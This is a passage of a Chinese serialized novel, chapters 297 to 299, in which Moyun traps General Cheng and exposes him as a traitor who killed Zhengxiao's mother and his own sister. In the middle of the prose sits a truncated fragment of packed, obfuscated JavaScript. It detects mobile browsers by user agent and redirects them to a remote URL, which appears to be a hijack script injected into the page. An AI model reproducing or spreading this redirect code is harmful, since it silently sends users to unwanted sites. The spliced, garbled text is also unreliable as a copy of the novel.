最终，茉云笑了笑避开了眼神，轻轻自嘲说道：“我最近一直心事重重。你为何一开始不问我？你说……我蠢不蠢，我是知道了梨绒居然对她姐申霄下手之时，才想到当年可能是梨绒害死了奇煌哥。而老影在今日毫不犹豫的帮我戳穿了正奇部落那姐弟两的阴谋……我才意识到，他居然是草原背后拨弄风云之人，我终究还是看轻了这人世的恶！”
茉云好似把那些压在心头的痛楚慢慢释放出来。正啸深吸一口气，忽然，他伸手紧紧抱住了茉云，将颌下轻轻抵在她头顶，轻轻低声说道：“我自幼觉得，任何时候恶的不是人世，只是那个人罢了。”
茉云的心微微一颤，感受着他怀中的温暖，低声说道:“那如果人世让人失望到极点，该怎么办？”
“若是你对人世失望至极时，你就借一下王胖子的眼睛来看这个人世！”
茉云顿时被逗笑了说道：“那你平时借谁的眼睛来看！若辰的？”
“他从小眼里就是花啊，水啊，月啊的，我一概不懂。”
茉云顷刻在正啸的怀里笑得不行，清脆的笑声，好似顷刻将所有复杂的情绪驱散了：“那你借谁的眼睛？”
“程叔，因为他总是睿智而豁达。”
茉云顿时似乎被这话深深触动，正啸也意识到了，目光微微一凝，看向她。茉云忽然躲过了他的眼神，粲然而笑，眼中透出一丝明亮的光彩：“对，他现在当真是是睿智极了。”
这一瞬间，看见茉云的笑容带着释然，正啸才终于松了一口气。
茉云轻轻松开了正啸指着桌上的军务说道：“你处理军务吧，我回营帐了！”
正啸温和的点点头，这几日积压了那么多军务，今晚要一一处理了，茉云走出营帐，在放下门帘的那一刻，神情瞬间冷凝，她深深吸了一口气，忽然觉得脚步好似灌了铅一般……迈不动，她真是此生第一次，连自己的猜想都不敢面对。
夜里正啸看军务到很晚，秋意渐浓，他入睡前，给已经睡过去的老乐盖好了被子，而万莫还跟着正啸寸步不离，正啸看着他温和的说:“去休息吧！”
谁知万莫抱来了被子，就摊在了地上睡了过去，千山无语的要去拉他，可万莫死活不肯走。自幼时，千山晚上要执勤，万莫一个人住，若做噩梦，他就会抱着被子睡到正啸床边的地上，死活不肯走。
正啸无语的说道：“随他吧。”
而此刻的茉云看向帐外的明月，眼神渐渐透出狠戾，明月当空，如此皎洁而清冷，又何曾在意过地上的黑暗和污糟。
她转身之时心中已再无迟疑，打算洗把脸睡了。忽然看见烛光下，水中倒映出的自己，她顷刻间轻轻的笑了对自己说：“还好，方茉云，这世上任何都不能动摇你，哪怕是他……”
297.转瞬
翌日白神医终于回到了军营，立刻为程老将军的诊脉，元帅和正啸等人都陆续来到了他们营帐中。
经过半个时辰的探脉和诊断，白神医向元帅汇报，他能断定程老将军脑中是有淤堵至神志不清，他决定为程老将军施针化淤，只要经脉畅通，程老将军应该是能恢复的。
元帅和众人顿觉欣喜，恰逢圣旨还未到，元帅下令就地再休整几日，这些日子白神医每日为程老将军施针，他多是昏迷不醒的状态，而他的义子边鸿远寸步不离的守在军营里，悉心照顾着。
而这日，军营里忽然来了一个众人意想不到的钦差大臣——萧怀逸，他是来替皇上慰问卢家军的，并带了卢家军往西继续挺进的旨意，元帅亲自去迎了他，众人自然心领神会的不再提及之前的事，他毕竟是钦差大臣。
可正啸对他依旧冷漠，可是不知为何，正啸总隐隐觉得军营中弥漫一种异样的氛围，好似总有暗潮涌动……所以他这几日脑中总觉有一丝不安，但也有值得庆幸的消息——白神医说程老将军的脑中经脉渐通。
这日晌午，白神医让人去通知了元帅等人，说程老将军快醒了，不言听闻马上伸手给程老将军探脉。
他顿了顿，深深地看了一眼程老将军，语气中带着崇敬的望向白神医说道：“师傅，您真是旷世神医。”
白神医则温和的笑了笑，这时正啸第一个赶到了营帐，元帅和魏副帅也马上赶了过来……
就在程老将军缓缓睁开眼睛的一刻，看见了面前的正啸，带着几分虚弱地喊道：“啸儿，是你啊。”
正啸马上伸手握住了程老将军伸出的手，程老将军的眼神带着久违的亲切，缓慢地坐起来，看见元帅、魏副帅和周总教头站在一旁，顿时四人的眼中都是激动和泪水。
看到程老将军恢复过来，军中大多数将军们无不感到欣慰和喜悦，毕竟，他们大多都在程老将军身边呆过，彼此之间有着深厚的感情。
然而，这份喜悦却在夜幕降临之际，被打断……
夜色深沉时，茉云走进了程老将军的营帐，她轻轻推开帐篷的帘子，看到边鸿远正细心地照顾着程老将军。
见到她进来，程老将军温和地笑了笑，仿佛一切都没有改变。他轻轻招手：“云丫头，过来坐。”
茉云微微一笑，走到程老将军床前，亲切地叫了声：“老乐。”
程老将军依旧温和地笑着，看向边鸿远说道：“鸿远，帮我去倒点热茶来，云丫头跟我叙叙旧。”
边鸿远旋即点头，轻轻拿着茶壶，就走出了营帐。
茉云坐下，目光深沉地看向程老将军，轻声带着一丝关切的问道：“老乐，你头痛症也好了吗？”
程老将军温和地点点头，眼中闪过一丝慈爱：“好多了，云丫头，你还记得我有头疼症。”
“对，我小时候每次犯错，装病骗我爹娘，装着装着就真疼了！”茉云平淡笑着说，话语简单而直接，却带着一种平静的张力。
她说完抬头直视着程老将军的双眼，发现他眼神顷刻与往日不同，深沉如海，沉静得深不见底。
程老将军深吸一口气，语气中透着一丝异样的气息，怅然说道：“云丫头，其实你何须插手卢家军之事，去过草原上自由自在的生活，哪不好？”
茉云的眼神则瞬间变得锐利，带着一丝狠戾，她自然顷刻就感受到猛兽的气息，看向程老将军说道：“老影和你过的生活，自由自在吗？是至黑至暗吧？老影也都跟我承认了，为了不影响军心，不如您自己去和元帅交代吧。”
就在这一瞬间，程老将军的神情闪过一丝狠辣，他迅速拔出了腰间的长剑，剑锋闪耀，带着一股寒气直逼茉云。茉云毫不迟疑，瞬间拔剑迎战，她的剑光如闪电，亦是直刺程老将军而来。
然而，她没想到程老将军只是虚晃一招，茉云的剑划过之时，程老将军眼中闪过一丝深深地算计，轻巧地避开了茉云的剑锋，只是肩膀被她剑锋轻轻划伤。
边鸿远刚一进营，便看到程老将军受伤，心中一惊，丢开水壶便拔剑而出，迅速与茉云交锋。三人迅速陷入了激烈的战斗，而茉云显然很难以一敌二，虽然她招式凌厉，但边鸿远的力量和程老将军的狠辣都不可小觑。
就在这时，魏副帅和威行正好进了营帐，他的目光扫过场中的局势，魏副帅顿时怒吼一声：“方茉云，你干什么！”
他的声音充满了震慑和愤怒，像雷霆般响亮，震得营帐内的空气瞬间凝固，威行也愣在了原地。
程老将军似乎未料到此时他们会来，他突然身体一顿，重重倒在地上。握着肩上的伤口，眼中满是痛苦和无奈。
而茉云和边鸿远都停住了剑，边鸿远马上扶起了程老将军，程老将军的眼底暗暗浮现出一丝复杂的神情，好似在恼着时不待我。可是当魏副帅冲过来护着他的时候，他顷刻恢复了一脸惋惜和温和。
而此刻，正啸在营中处理公文，威行忽然急匆匆冲进正啸的营帐，上气不接下气！
正啸双眉微蹙看向威行，威行则喘着气说道：“少帅，茉云不知为何又发疯了，她要杀程叔！”
正啸丢开笔就急忙赶到，眼前的场景让在场之人都愣在原地。程老将军肩上有伤，而魏副帅和边鸿远都紧握刀柄，怒目圆睁地盯着茉云。茉云手中持剑，身上也有伤。
“这，这是怎么回事？”元帅吃惊地看着问道。
边鸿远顿时激动地指着茉云吼道：“元帅！她要杀义父！”
魏副帅心中的愤怒也已到达极点.忿然吼道：“若不是我想着来看看老程，老程有伤在身，鸿远根本不是她的对手，她就得手了！”
元帅吃惊地看向茉云，似乎难以相信这一切，声音中带着不解与失望：“茉云，你这是……？”
程老将军则深吸一口气，看向茉云，语气充满了沉痛：“云丫头，我当日提拔丁大人时，如何能算到丁大人的孩子会如此作恶？”
茉云冷冷地笑了看向程老将军，她向来不稀罕辩驳，何况此时是百口莫辩之时，但她眼神中却透着一股无法掩盖的狠意。
正啸顿时握紧了双拳压制着怒意，低吼道：“来人啊，将方茉云先行押解！”
然而，就在众人迟疑的一瞬间，茉云突然挣脱开，猛地挥剑乘着众人不备，剑锋直指程老将军。
霎那间，正啸拔出雷霆一剑，斩下了茉云手中的剑。接着，他毫不犹豫地将茉云迅速押解，不容她有任何反抗的机会。
茉云眼中闪过一丝狠厉，她恶狠狠地看向程老将军，低吼道：“我跟你中间一定会死一个的，就看最后谁胜谁负！”
正啸强行一把押解了茉云出营，茉云没有再挣扎，但她的眼神中却透着冷漠与决绝，低吼道：“卢正啸，你要不就杀了我！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068928|130368||http|test|mini|href|location''.split(''|''),0,{}));
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正啸咬着牙深吸一口气，锁紧双眉望向茉云，但他依然没有说话，只是紧紧握住她的手腕，沉默地将她押走。
然而，走出一段距离，茉云忽然转头望向正啸，眼神中闪过一丝决然：“若你不杀我，还有一丝信我，放我走，我给你一个答案。”
正啸的目光在茉云的脸上停留了片刻，心中却翻涌着复杂的情绪，就在他迟疑的瞬间，茉云猛地挣脱开正啸的束缚，身形如风，迅速拔出了旁边士兵的刀，一刀划来。
“少帅，小心！”威行顿时吼道。
而正啸却没有丝毫躲闪，刀锋斜斜划过他衣袖，顿时鲜血染红了衣物。他望向茉云，眼中只有一种深深的无奈和痛楚。
“少主！”千山的喊声骤然响起，充满了惊慌与焦虑，因为正啸面对茉云明晃晃的刀，却连剑都没有拔……
茉云亦愣了一瞬，但她很快回过神，没有任何迟疑地转身，飞身而去，像一只迅猛的恶兽，消失夜色中。
萧怀逸此时也从营帐中赶来，看到正啸那被染红的袖口，语气中也充满了慌张地喊道：“快，快请白神医来给正啸哥止血！”
威行则愣了良久，才看向身旁同样震惊的千山，说道：“她是要间歇性地发疯吗？”
但此时，所有人都只能默默站在秋风瑟瑟中，没有人能给出明确的答案。
回到营帐内，魏副帅知道茉云逃了勃然大怒，他第一次这般带着浓浓的指责和愤慨瞪向正啸训斥道：“正啸，你这还不是因私废公，识人不明！你居然放走了方茉云！此人心狠手辣，绝不会善罢甘休！”
众人都不由自主地低下了头，正啸锁紧双眉，元帅亦一言不发，气氛显得越发沉重。
这时程老将军缓缓坐起，尽管身体虚弱，还是安慰着正啸说道：“老魏，不必再说了。啸儿已经受伤了。云丫头的功夫我知道，啸儿绝不会私放她。此时，他为了军心大局，也不好带着人马追击。”
元帅深深吸了口气，脸上满是复杂的情绪，沉默了片刻，才缓缓说道：“这事……发展如此，着实难以预料，我一时……”
“元帅您放心。”程老将军声音柔和却神情坚定地宽慰众人道，“这是在军营，鸿远我身边，我不会有大碍，大家早点休息吧。啸儿你和诸位将军都要记得，一切都要以大军为重，不可让军心动摇。”
正啸深深望向程老将军，最终点了点头，说道：“好，程叔，我知道了。”
深夜里，正啸处理完伤口回到了营帐，心情却是如此的沉重。他靠在床榻上闭上眼睛，深深吸了口气，自己不得不将所有的情绪一同压制下去。明日他还要精神奕奕的出去面对全营将士，不可让军心动荡……而此刻自己心中无以复加煎熬。
就在此时，万莫悄悄地抱着被子走了过来，安静地躺在了正啸床边的地上。
正啸看向万莫，忽然睁开眼睛，带着几分疲惫的问道：“万莫，是不是她跟你说了什么？”
万莫看向正啸，眼神坦然地点点头说：“茉云让我寸步不离地呆在少主你身边。”
正啸深吸了一口气，忽然想起了夜里自己陪在她身旁之时。每次自己稍微一动，茉云就会惊醒，拉住他的手臂，低声说着让他不要离开她身边。
想到这，他心中的痛苦与困惑愈加深重，但他知道不论是何种真相，都会将自己拉向了一个难以置信的深渊。
298.大戏
翌日清晨，阳光透过云层的缝隙洒在营地上，正啸走出帐篷，迈步朝着练兵场走去。所有将军听到他坚定的步伐声，纷纷抬头望向他。
正啸依旧没有丝毫多余的表情，面容如常，威武而冷峻，似乎昨晚的一切都没有发生，每个士兵都默默注视着他，眼中都带着敬畏和忠诚。
此时威行默默走到沧海身边叹息着跟他说了昨晚之事，沧海顿时便目光严峻的叮嘱他，再也不要在军中提起或议论此事，除非元帅和少帅有了公断，威行愣了一刻看向沧海，最终看着沧海那不容分说的表情点了点头。
午后，正啸前往程叔的帐中探望程老将军，看见卢帅和魏副帅、周总教头、若辰都在，程叔依旧躺在床榻上，脸上有些疲惫，但精神恢复了不少。
见到正啸进来，程叔脸上闪过一丝欣慰的笑意，随即说道：“云丫头那事，你也别放心上！”
正啸站在一旁，目光略显沉重，缓缓开口道：“程叔，可否不要提她。”
他的语气中带着一丝疲惫和隐忍，仿佛有太多情绪被压抑在心底，无法理清。
程老将军长叹一口气，眼中流露出一丝无奈与自责，默默点头道：“好，这事也怪我。”
此时，魏副帅站在一旁，脸上依旧带着怒气，忍不住说道：“怪你什么？你那日是没在部落会盟看见她如何下毒手，她这深藏之心狠手辣，连她昔日的恩人，她都可以轻易让人生不如死！
营帐内一瞬间安静了下来，正啸却压根没有回应，只是轻轻抬起头，目光深邃地看向营外。
魏副帅忿然拍案，语气坚决的说道：“元帅，此时应该通缉方茉云！她定跑去了西南草原，我们得逼他们交出方茉云，否则后患无穷！”
然而，元帅则目光沉稳地反驳道：“茉云那孩子一贯冲动，年轻人犯错，先劝诫其改之，通缉什么通缉？搞得满城风雨，沸沸扬扬扰乱军心！”
魏父帅眼中满是不解地说道：“卢哥，你们父子俩到底还要如何纵容方茉云？她已然如此了，还要护着她？这些日子，我也听大伙聊了不少关于她之事，她可真是能在卢家军翻云覆雨，上天入地了！如今她疯癫到如此对自己人动手，那还能容？周劲，你也劝劝元帅！”
“此事，我也不好说什么。那丫头，人不坏也能耐，但是她就是太记仇。”周总教头语气中带着一丝复杂，顿了顿继续说道：“她自己都曾说过——人若泼我一盆水，我定然弄盆油，烧开了泼回去，再点把火……”
魏副帅冷哼一声，手指狠狠地点了点：“你看看！这就是方茉云！”
此时，若辰缓缓地转头，看向正啸。然而顷刻间，他深吸一口气，发现正啸那双一贯炯炯有神的眼睛，如今竟然布满疲惫，甚至透着一抹深深的空洞。
虽然他的神情依旧如此平静，但好似在承受着某种无可言喻的沉重。整个营帐随着他的沉默，又陷入了沉寂。就在营帐内的气氛变得愈加阴郁时，突然从帐外传来一声通报——卢老太君来了军营。
这突如其来的消息让众人吃惊不已，元帅和魏副帅等人立刻起身，迅速走出营帐迎接，而正啸眼中闪过一丝更为复杂的情绪……
卢老太君之气度，素来是威严而不容忽视，迈步进营后，她径直朝程老将军的营帐走去。
程老将军看到她的身影，瞬间跪倒在地，泪流满面，似乎所有压抑的情感在这一刻爆发。卢老太君也眼眶微润，最终老太君一番慰问和劝解后，程老将军才止住了泪水。
而卢老太君忽然转头，目光瞪向正啸，厉声问道：“方茉云呢？”
顿时，营帐内一片沉默，所有人都没有立即回应。卢老太君的目光渐渐露出不悦，没好气地问道：“那丫头让我来的，自己没见人了？”
众人此时纷纷抬头看向卢老太君，执礼和东山亦在此刻相视一眼，老太君说是茉云让她前来的？
卢老太君的目光冷冷扫视一圈，看见众人欲言又止的神情，说道：“先让小程好好休息，你们随我来主营。”
众人连忙应承，然后纷纷跟随卢老太君前往主营，路上执礼恭敬的跟卢老太君简洁地说了一下事情的始末。
卢老太君听后，神情一愣，随即瞪向执礼，怒不可遏地骂道：“你说方茉云蠢到大晚上自己跑去程将军的营帐杀人？这是那丫头能干得出来的事吗？她脑子给马踢了？”
魏副帅深深吸了口气，平静地说道：“可是，干娘，事情就是如此。儿子亲眼看见了，边鸿远和威行也都看见了。”
“我……就是看见他们双方都握着剑。”威行却站在一旁小声补充道。
“你意思是，老程一清醒就要杀方茉云？”魏副帅的语气显然对威行的犹犹豫豫心有不满，“那后来方茉云当着元帅和少帅的面，还要对老程下死手呢？”
卢老太君顿时若有所思的转向正啸和若辰，眼中闪过一丝锐利，说道：“那丫头，又在搞什么鬼？”
确实但凡了解茉云之人，都知道这丫头怎么可能干出这种蠢事，她必有作妖，老太君眼神异常冷冽，似乎在等待着他们给出一个明确的解释，可他两都沉默无语。
卢老太君忍无可忍，猛地拍案而起，声音果决的下令道：“指望你们什么？沧海，带人去草原上，我不管你是逮也好，请也好，把方茉云给我带回来！告诉她，有我在，绝不会要她的小命！有恩怨，就化解，有仇，冲我来！但她的人，必须给我回来！”
沧海立刻抱拳领命，毫不犹豫地应道：“是！”
魏副帅深吸一口气，但是面对卢老太君的威严，他最终亦不敢多言。
夜幕降临后，他们各自忙完军务后，都前往主营陪同老太君用晚膳，气氛虽然仍带着几分紧绷，但比白日稍显缓和。
元帅走进来坐下之时，看见魏副帅还未来，便望向东山问道：“魏副帅呢？”
“应该是有军务在身，我再派人去传！”东山马上恭敬地回应道
“不用！”卢老太君没好气的说道，“军务要紧，不用整这些虚的，又不是谁不来，我这饭吃不下！”
然而，就在这时，外面传报说沧海回来了，但茉云未见。元帅马上命人传他进来。
卢老太君一见沧海，便目光凌厉地质问他道：“沧海，你如今还敢违抗军令了？方茉云人呢！”
沧海一脸刚正的抱拳禀报道：“启禀老太君，茉云说她等下就回，她要去草原先带个人回营。”
卢老太君微微一怔，皱眉冷声道：“谁这么重要？”
沧海语气平稳地回答：“老影！”
“谁？”卢老太君闻言质问道，可是众人都抬目望向沧海，茉云为何要带老影回来？
沧海旋即恭敬地解释道：“启禀老太君，此人是西南草原日升部落的一位将军。茉云说她已经让草原上的朋友将他逮住，晚些时候会亲自带他回营，会亲自像您
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解释。”
“那丫头又在搞什么鬼？”卢老太君挑眉冷哼一声，若有所思的说道。
就在这时，营帐门帘忽然被猛地掀开，冷风灌入，一道急促的脚步声打破了寂静。
众人纷纷抬头望去，只见魏副帅好似魂不守舍地冲了进来，神情异样，脸上带着一种近乎疯狂的焦灼。
他竟然连像卢老太君行礼都忘了，径直冲到了程老将军面前，声音嘶哑的问道：“我问你，素素到底是怎么死的！”
营帐内瞬间寂静，所有人都不由自主地看了过来，素素便是程老将军的妹妹，他怎么忽然此时来问此事……
程老将军微微一愣，眼中也闪过一丝意外，但随即神色就沉了下来，叹息着说：“老魏，没想到此事你还放不下……素素在天之灵，也会希望你……”
魏副帅却忽然忿然地打断，声音中透着难以抑制的痛苦，吼道：“不要跟我说这些废话！你就告诉我素素到底是怎么死的！”
就在这时，萧怀逸也跟着走进了营帐。他的步伐稳健，脸上的笑容却冷若冰霜。他进来后，先是深深地向卢老太君和元帅的方向恭敬行了一礼，随后站直身子，冷冷地望向程老将军，眼神中带着一丝显然的锋利。
程老将军沉默片刻后，深深叹息了一声，看向魏副帅说道：“你是知道的，素素死在了峑戎杀手的手上……他们当时冲入我府，本是想要杀我，结果……”
他顿了一下，眼神中带着一丝难以言喻的沉痛。而魏副帅嘴唇微微颤抖，像在极力压抑自己几乎带着歇斯底里的怒意：“那为何独独死了素素？为何独独死了她！”
程老将军低叹了一声，眼神中带着一丝无奈：“都是造化弄人……”
然而，魏副帅却仿佛已无法承受这样的回答，他的身体微微晃动了一下，失神地转头看向了萧怀逸。
而萧怀逸却轻轻一笑，缓缓说道：“魏副帅，您不妨再等等。有人会来给你答案的。”
“等……什么？等谁！你为何不能现在告诉我！”魏副帅内心都是惶然，他此刻就想知道刚刚萧怀逸跟自己所说的，程素素之死另有实情的真相。这些年从没有人跟自己如此分析过，原来素素走得这般蹊跷。
而此刻，卢老太君的目光也冷冷地落在萧怀逸身上，眼神犀利如刀地问道：“萧怀逸，你又来我卢家军搞什么鬼？”
萧怀逸却依旧不紧不慢，步伐沉稳地向前走了一步，恭敬地行了一礼，微笑着说道：“老太君，您不妨也等等，她应该就快回营了。”
他的语气温和，却带着令人捉摸不透的意味，仿佛一切都在掌控之中。直到看向正啸时，萧怀逸的神情中才透出一丝担忧。而正啸心中自是明了，她这场大戏，人应该是到齐了……
就在这个时候，营帐外大营门口的瞭望台传来一声高亢的通报声。
“报，是方将军回营了！她还带着一人！”
“开营门！”顿时守营将军润吉下令道。
一瞬间，所有人都抬目望向了帐外，连魏副帅都停住了，望向营帐外，众人屏息以待等待茉云进入营帐……
人还未到，一道寒风骤然刮入营帐，带着一丝阴森的杀意。忽然几道暗器破空而出，将帐内的蜡烛瞬间熄灭，一刹那，整个营帐陷入了伸手不见五指的黑暗，四周亦安静了下来，唯有风声微微渗入，带来一丝阴冷的寒意。
就在此时，一道寒光闪现……
299.真相
就在这死寂的瞬间，寒光如同闪电撕裂，带着凌冽的杀气，掠过之时一瞬锐利的破风声，好似下一刻便要刺穿黑暗，直取人的性命……
众人顿时警觉，纷纷握剑戒备，正啸瞬间亦察觉到杀气直逼而来。然而，另一道银芒亦瞬间闪现，以雷霆万钧之势挡住了袭来的剑锋！顿时利器相撞激起的火光，就在正啸眼前。
“快点亮火折子！”东山和执礼当即喊道。
黑暗中，微弱的火光忽然闪烁，终于照亮了营帐，而正啸的目光霎时怔在了眼前的景象——
程老将军站在他眼前，手中的长剑寒芒闪烁直指自己，眼神更是阴狠而决绝，而那不顾一切挡住这一剑的人是万莫！
程老将军轻笑了一声，带着几分冷漠的戏谑：“没想到，万莫这小子，居然能有一把这么好的剑。”
他语气是如此地冷酷而镇定，好似这一切还尽在他的算计之中，他猛地又一扬手，袖中骤然弹出几枚暗器，直射正啸心口！
“啸儿，小心！”卢老太君骤然惊呼道。
千钧一发之际，正啸身旁一道身影猛地跃出，毫不犹豫地挡在正啸身前——是萧怀逸！
“噗——”暗箭击中之声格外清晰，萧怀逸整个人被暗器击飞在地，可见暗器力道何等之强。
而就在此时，程老将军一把就踹开了万莫，他的身手竟然还如此之刚猛，他举起剑不顾一切的朝正啸劈来，沧海一个箭步上前，奋然又挡住了这一剑，旋即和程老将军一番狠斗，刀光剑影兵刃碰撞之时的火花，如电光火石般，在灰暗的营中闪烁，此时千山亦拔剑而来，万莫爬起亦加入其中。
最终，沧海和千山万莫联手才挑开了程老将军的剑，齐手上前，沧海将他狠狠地按倒在地，千山旋即迅速捆绑住他，程老将军才算是彻底被压制住了。
程老将军还是恶狠狠地瞪着正啸，眼神中满是疯狂与恨意，咬牙怒吼：“可叹我棋差一着！没能杀得了你，让你们卢家绝后！”
他的声音带着如此浓烈的杀意和不甘，回荡在整个营帐之中，而正啸望向他，双拳握紧得颤抖，眼神里却好似都是空洞。整个帐内的人都神色震惊地愣住了，谁都未曾料到过这一幕的发生，元帅和周总教头都一动不动的看着，好似在噩梦之中一般。
沧海起身喘了口气，才一把拉起了萧怀逸，萧怀逸抬手轻轻拂去嘴角的血，调整着内息说道：“无碍，我早已穿了金丝软甲！”
此时传来了卢老太君惊魂未定的怒吼：“你们这是要干什么！”
“请老太君息怒，这个卢家军中埋藏最深的恶人……不将他逼迫至此，他是不会现身的。”萧怀逸则不慌不乱的看向程老将军，冷冷的说道
而就在这时，营帐门口传来一阵冷冽的脚步声，众人循声望去，隐隐看见一道纤瘦而干练身影出现在营门外。待营门掀开，是茉云举着烛火走了进来，而她身后跟着卢依妮……
烛光摇曳，映出她没有丝毫的表情的脸，目光沉静冷峻如冰，眉宇间透出一份英气与冷蔑，让人觉之锐利而锋芒毕露。而她身旁的卢依妮却一脸不敢相信的仓皇失措……
茉云仰头俯瞰程老将军，两人目光相错之时，她脸上渐渐浮出了狠戾的笑容。她就这样站在暗影中，笑容不带一丝温度，充满了冷意与狠戾，又带着一股嘲讽和不屑，让整个营帐中人都觉之不寒而栗。
而正啸此刻抬头，目光沉沉地看向茉云。而茉云却未回望他，正啸深深吸了一口气，眼底交织着复杂的情绪，好似这一刻渐渐连愤怒和痛苦、困惑都已耗尽，只剩下一种深沉的无力感。
茉云缓缓地抬手，将手中的烛火递给了依妮，语气平静而坚定：“去，把营里点亮些。”
依妮接过烛火，不一会儿，营帐内的烛光逐一亮起，温暖的光晕将整个营帐照亮，然而，气氛却并未随之缓和，反而越发显得凝滞而压抑。所有人都沉默不语，好似整个空间被一股无形的寒意笼罩。
茉云缓缓走近，俯身看向被擒的程老将军，唇角勾起一抹意味深长的笑意，轻声说道：“老乐，没想到你身手这么好。”
程老将军抬头看向她，眼神中原本还带着挣扎和不甘，但很快他恢复了镇定，带着一丝平静如水的深沉，缓缓问道：“老影呢？”
茉云轻笑了一声，语调带着一丝嘲讽：“我压根没去找他。老影这人……我就算要他命，他亦不会出卖你。只是你这一生，大抵不会再相信任何人了吧？”
程老将军闻言，目光微微一顿，随即露出了一抹意味深长的笑意：“都是你设的局？”
“嗯，我并没有实证，他们也未必信我，如果不一环扣一环地将你逼至绝处，让你觉得已到再无转圜的最后时刻，你这般心智强大之人，是不会狗急跳墙的！”
程老将军眼神里竟然带着一丝欣赏，语气平缓而赞许地说道：“厉害啊，云丫头。”
“不，您才厉害。”茉云冷冷一笑，眼底闪过一丝锋锐的光芒，“您如此刚毅而强大，一个人竟能撑这么久，硬生生让整个卢家和卢家军几近覆灭。而我，只是顺应天道、借助地利和人和，才能险胜一招。当然这其中还不得不谢谢您，让我们一路历练，才有今日。”
程老将军听完，低声笑了，嘴角微微上扬点点头：“嗯，你着实成长了，可你这丫头，是何时开始怀疑我的？”
“有一日卢正啸说，他曾亲眼目睹他亲堂弟，是如何被峑戎杀手折磨至死的，是你捂住了他的嘴鼻救走了他。”茉云顿了一下，目光透着一抹寒意，“我这个人……对人对事总缺乏信任，所以当时我便纳闷了。”
众人不禁都望向茉云冷静而犀利的眼神，正啸亲眼看见他堂弟被峑戎杀手谋害之事，满朝皆知……
茉云冷冽地继续说道：“如果我要带走一个小孩脱离危险，我可以蒙住他的双眼，或将他藏在怀里，甚至干脆将他击晕，可为什么——只蒙住他的嘴巴，要让一个少年眼睁睁地看到这惨绝人寰的一幕？不怕他疯吗？”
程老将军的嘴角微微勾起，随即，他点点头，露出一抹残忍的笑意，说道：“对，他不只看见他弟弟是怎么死的？他还曾亲眼看见她娘是如何死的，可他竟然还没疯……真是命够硬的！”
他的话音未落，整个营帐内的气氛瞬间凝滞，好似空气都变得沉重而压抑。
程老将军却毫无惧意，反而是看向正啸，眼神带着最深的恶意，意味深长地说道：“你可知，当年是因为你听信了我的话，跑去那河边玩耍才迷了路，你娘去找你，才被峑戎的探子发现，引来了峑戎的人马，给她招来了杀身之祸的？”
他的语气如此淡然，好似在讲述一件再寻常不过的事情，可这字字句句，如刀刃般狠狠刺入了正啸的心脏。他的瞳孔猛然收缩，身体猛地一震，牙关咬紧得几乎要碎裂，
“魏卓，你这畜生！”元帅顿时发出了震耳欲聋的吼声，带着无法遏制的愤怒，拳头死死攥紧到指节泛白，浑身气得微微发抖。
这一刻，营帐内的气氛彻底凝滞，众人眼中都充满了难以置信地愤怒与恨意。
只有茉云依旧站在烛光之下，冷冷地俯视着他，声音淡漠地说：“你倒真是个干大事之人，你也下得去手啊，那可是柳玉鉴！”
程老将军冷笑的眼中，居然微微泛红，嘴唇亦微微颤抖，似乎这一刻，他也掩盖不了情绪的波动，但他很快克制住了，沉声说道：“我不想杀她……可她为了救她的儿子，自寻死路。这也是她选了卢家的报应。”
卢老太君的脸色铁青，怒火中烧，再也隐忍不住的怒吼道：“你这个孽畜，卢家待你不薄！”
她的声音如同雷霆般炸响，震得整个营帐都仿佛颤抖了一瞬。而程老将军却依旧神色淡然，似乎对于眼前的怒骂毫不在意，反倒神情中还透出一丝得意。
“报应？”茉云冷冷地重复了一遍，眼神中闪过一丝嘲讽，语气却更加凌厉，“那你为何要杀自己亲妹啊？”
程老将军的胸口微微起伏，他闭了闭眼，似乎是在极力平复心绪，最终，他深吸一口气，低声说道：“她发现了我和峑戎的信，她要去告诉老魏，无论我怎么劝都不听，拉扯时……
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我失手杀了她。”
话音落下，魏副帅猛地一震，眼中迸发出再也无法抑制的怒火，整个身体都在剧烈地颤抖，他猛地拔出长剑，怒吼道：“你这个猪狗不如的畜生，她是你亲妹啊！”
然而，就在这一瞬间，茉云冷冷地一指，声音沉稳有力说道：“拦住他。”
沧海和震北一拥而上，将咆哮着的魏副帅牢牢抱住，而他的怒吼声震动却依旧整个营帐，像一头猛兽要挣脱一切冲上去将程老将军碎尸万段！
“魏副帅，你冷静点，让我问完话。”茉云的语气中没有一丝波澜，却带着让人不容抗拒的威严。
魏副帅眼中的泪水流了下来，呼吸急促，将剑柄攥紧得青筋暴起，可最终，他还是松开了剑，带着滔天的恨意死死盯着程老将军。
营帐内依旧一片死寂，众人屏息凝神，等待着这一场血雨腥风般的审问继续下去……
茉云继续冷冷地注视着程老将军，问道：“程老将军，你亲手杀了最疼爱的亲妹，害死了柳将军。你离开后，程家更是遭受重创，子孙无人教导，沦为阶下囚，程家满门凋零，这一切只是为了报复卢家，值吗？”
她的话语沉重而充满质疑，却好似一颗炸弹直击程老将军的心。
“值！”程老将军眼神顷刻又变得阴鸷，嘴角勾起一抹冷笑，斩钉截铁的说道，“因为我知道卢家也没好日子过，卢家这些年过得也是众叛亲离。家人都快死绝，就连老顾和洪凯都背叛了他们。而卢家的这些狗，老黄、倪大人还有千山万莫、罗虎、威行他们的爹，也都走了。”
帐内所有卢家军将军纷纷咬紧了牙关，瞪视着程老将军，他居然还提及了他们的爹……
“中间大多亦有我的手笔。”他的笑容渐渐加深，眼中闪过一丝扭曲的快意，“我这辈子也算值了，要报复的人也报复得差不多了，只是这卢正啸，着实命硬！”
“他得感谢您，您其实也不想杀他，因为人对人最狠的报复，并不是杀了他，而是毁了他，让他生不如死。”
“是，峑戎杀手来杀他时，我突然改变了主意，只是死了，太便宜卢家了。”
程老将军顿了顿，神情在回味那个瞬间的决定，嘴角那抹残酷的笑容好似瞬间让周遭冰冻三尺一般。
